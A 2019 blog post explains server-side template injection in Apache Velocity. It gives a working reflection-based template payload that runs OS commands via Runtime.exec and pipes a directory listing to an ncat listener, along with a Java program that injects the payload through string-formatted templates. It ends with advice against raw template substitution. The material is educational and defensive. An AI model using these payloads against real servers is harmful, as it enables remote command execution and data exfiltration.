Apache Velocity Server-Side Template Injection

12 Jul, 2019 | 4 minutes read

Apache Velocity is a well-known templating engine used in Java Enterprise applications and by Java developers. It is used as a web page rendering engine, e-mail message composition etc. Many commercial products rely on Velocity as one of the fastest content generators that is producing content, based on predefined templates and dynamically supplied parameters.

A couple of days ago, a major application vendor reported a security vulnerability that is connected with their customer support forms and e-mail-based notifications. I don’t know if Velocity was the source of this security vulnerability, but it could be.

First of all, let me state that Apache Velocity is an excellent product and if used properly there is no possibility for security breaches because the input parameters are escaped and sanitized. However, developers sometimes make mistakes, they choose to circumvent the well-established rules and proceed on their own way.

This is not going to be a Velocity tutorial. Here is the simplest template:

Hello $name

The content generation is as simple as:

import java.io.StringWriter;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;

public class VelocityTest {

    public static void main(String[] args) throws Throwable {
        VelocityEngine velocityEngine = new VelocityEngine();
        velocityEngine.init();
        Template t = velocityEngine.getTemplate("template.vm");
        VelocityContext context = new VelocityContext();
        context.put("name", "World");
        StringWriter writer = new StringWriter();
        t.merge(context, writer);
        System.out.println(writer);

    }

}

It will render the content “Hello World”. Ok, we know what Velocity is and how it works :).
What else can we do with Velocity? For example, can we access the operating system from the Velocity template while it has been rendered? The answer is yes. Velocity supports directives. One of them is the #set directive. You can’t create and execute plain Java code directly, however if you know Java Reflection and obtain Classes and Constructors you can implement some interesting logic and constructs.

For example, consider the following template that will render the listing of the root directory on the server machine:

#set($s="")
#set($stringClass=$s.getClass())
#set($stringBuilderClass=$stringClass.forName("java.lang.StringBuilder"))
#set($inputStreamClass=$stringClass.forName("java.io.InputStream"))
#set($readerClass=$stringClass.forName("java.io.Reader"))
#set($inputStreamReaderClass=$stringClass.forName("java.io.InputStreamReader"))
#set($bufferedReaderClass=$stringClass.forName("java.io.BufferedReader"))
#set($collectorsClass=$stringClass.forName("java.util.stream.Collectors"))
#set($systemClass=$stringClass.forName("java.lang.System"))
#set($stringBuilderConstructor=$stringBuilderClass.getConstructor())
#set($inputStreamReaderConstructor=$inputStreamReaderClass.getConstructor($inputStreamClass))
#set($bufferedReaderConstructor=$bufferedReaderClass.getConstructor($readerClass))

#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cmd /c dir C:"))
#set($null=$process.waitFor() )

#set($inputStream=$process.getInputStream())
#set($inputStreamReader=$inputStreamReaderConstructor.newInstance($inputStream))
#set($bufferedReader=$bufferedReaderConstructor.newInstance($inputStreamReader))
#set($stringBuilder=$stringBuilderConstructor.newInstance())

#set($output=$bufferedReader.lines().collect($collectorsClass.joining($systemClass.lineSeparator())))

$output

I’ve obtained through Java Reflection classes, constructors etc. The final instance is BufferedReader that reads the output from the Runtime command execution.

Let’s go a step further. Netcat is an excellent command line for pen-testing and general TCP/IP socket network communication. We can start Netcat on a Windows machine in listening mode (port 3000) this way:

ncat -lvp 3000

Consider this Velocity template:

#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cmd /c dir C: | ncat localhost 3000"))
#set($null=$process.waitFor() )

Execute the Java rendering program above. The listening Netcat instance will receive the server’s root directory listing!

It’s getting warm 🙂

We are convinced now that by executing Velocity rendering, we can execute OS commands, send those commands to a remote listener etc. Off course, the user running the Java program must have appropriate OS permissions, the network firewall must be opened… But it is possible and can be exploited if we don’t care how we design our application and how we protect our environment.

The real question is why would we put the above Velocity directives in our templates? The answer is that we will never do that by ourselves.

Sometimes developers construct their templates dynamically. Consider this Velocity template (warning: Dangerous approach, never use it!):

Hello $name

This is your SSTI parameter:
%s

The %s is a raw string substitution variable. Velocity will not render it, but developers could replace it with user provided input (customer support form for example) before Velocity rendering. Here is an example:

import java.io.StringReader;
import java.io.StringWriter;
import java.nio.file.Files;
import java.nio.file.Paths;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.runtime.RuntimeServices;
import org.apache.velocity.runtime.RuntimeSingleton;
import org.apache.velocity.runtime.parser.node.SimpleNode;

public class SSTIVelocityTest {

    public static void main(String[] args) throws Throwable {

        StringBuilder velocityCommands = new StringBuilder();
        velocityCommands.append("#set($s=\"\")");
        velocityCommands.append("#set($stringClass=$s.getClass())");
        velocityCommands.append("#set($runtime=$stringClass.forName(\"java.lang.Runtime\").getRuntime())");
        velocityCommands.append("#set($process=$runtime.exec(\"cmd /c dir C: | ncat localhost 3000\"))");
        velocityCommands.append("#set($null=$process.waitFor())");
        velocityCommands.append("$param");

        String templateString = new String(Files.readAllBytes(Paths.get("ssti-template.vm")));

        String name = "Alice";
        String param = velocityCommands.toString();

        templateString = String.format(templateString, param);

        RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
        StringReader reader = new StringReader(templateString);
        SimpleNode node = runtimeServices.parse(reader, "Velocity Template");

        VelocityContext velocityContext = new VelocityContext();
        velocityContext.put("name", name);
        velocityContext.put("param", param);

        StringWriter writer = new StringWriter();
        Template template = new Template();
        template.setRuntimeServices(runtimeServices);
        template.setData(node);
        template.initDocument();

        template.merge(velocityContext, writer);

        System.out.println(writer);
    }

}

Execute the program above and you will receive the OS directory listing by listening to the Netcat.
In a real server application, the Velocity commands will be supplied through HTML form and injected in the “evil” Velocity template. I’ve shown above the possible outcomes.

This kind of security attack can be easily avoided if developers never inject raw content in their templates through string-based substitution. Never do that unless there is a really sound reason. In that situation double your tests and provide proper sanitation.

Till the next time!